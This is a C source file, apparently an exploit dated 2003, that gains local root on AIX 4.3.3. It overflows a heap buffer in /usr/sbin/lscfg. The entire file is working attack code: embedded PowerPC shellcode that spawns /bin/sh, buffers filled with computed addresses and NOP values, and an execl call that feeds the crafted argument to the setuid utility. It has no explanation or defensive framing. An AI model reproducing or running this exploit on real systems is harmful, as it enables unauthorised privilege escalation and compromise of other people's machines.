//
// AIX 4.3.3 /usr/sbin/lscfg Local Root Exploit
// (Tested on ML9)
//
// HEAP Overflow
//
// darkraver@t0s.org
// 08/10/2003
//

#include <stdlib.h>
#include <stdio.h>

#define		ALIGN	2
#define 	OFF		0x628
#define 	LEN1 	2000
#define 	LEN2 	2000
#define 	LEN3 	2000
#define 	NOP 	0x7ffffb78


char hell[]= // AIX 4.3.3
"\x7c\xa5\x2a\x79"     /* xor.    r5,r5,r5               */
"\x40\x82\xff\xfd"     /* bnel    <shellcode>            */
"\x7f\xe8\x02\xa6"     /* mflr    r31                    */
"\x3b\xff\x01\x20"     /* cal     r31,0x120(r31)         */
"\x38\x7f\xff\x08"     /* cal     r3,-248(r31)           */
"\x38\x9f\xff\x10"     /* cal     r4,-240(r31)           */
"\x90\x7f\xff\x10"     /* st      r3,-240(r31)           */
"\x90\xbf\xff\x14"     /* st      r5,-236(r31)           */
"\x88\x5f\xff\x0f"     /* lbz     r2,-241(r31)           */
"\x98\xbf\xff\x0f"     /* stb     r5,-241(r31)           */
"\x4c\xc6\x33\x42"     /* crorc   cr6,cr6,cr6            */
"\x44\xff\xff\x02"     /* svca                           */
"/bin/sh\x03";


int main(int argc, char *argv[]) {
int stack;
int offset1=0;
int offset2=0;
int offset3=0;
char buf1[LEN1];
char buf2[LEN2];
char buf3[LEN3];
char obuf[LEN1+LEN2+LEN3+200];
int i;
int ajuste=0;

if(argc==2) {
	ajuste=atoi(argv[1]);
	}

//offset1=0x2ff22130;

offset1=&stack+0x900+ajuste;

offset2=offset1+2000+3;

offset3=NOP;

printf("OFFSET1: %x\n", offset1);
printf("OFFSET2: %x\n", offset2);

for(i=0;i<LEN1;i+=4)
*(int *)&buf1[i]=offset1;

memcpy(obuf,buf1,LEN1);

memcpy(obuf+LEN1,"xxxx",ALIGN);

for(i=0;i<LEN2;i+=4)
*(int *)&buf2[i]=offset2;

memcpy(obuf+LEN1+ALIGN,buf2,LEN2);

for(i=0;i<LEN3;i+=4)
*(int *)&buf3[i]=offset3;

memcpy(obuf+LEN1+ALIGN+LEN2,buf3,LEN3);

memcpy(obuf+LEN1+ALIGN+LEN2+LEN3,hell,strlen(hell));

execl("/usr/sbin/lscfg", "/usr/sbin/lscfg", "l", obuf, 0);

return(-1);
}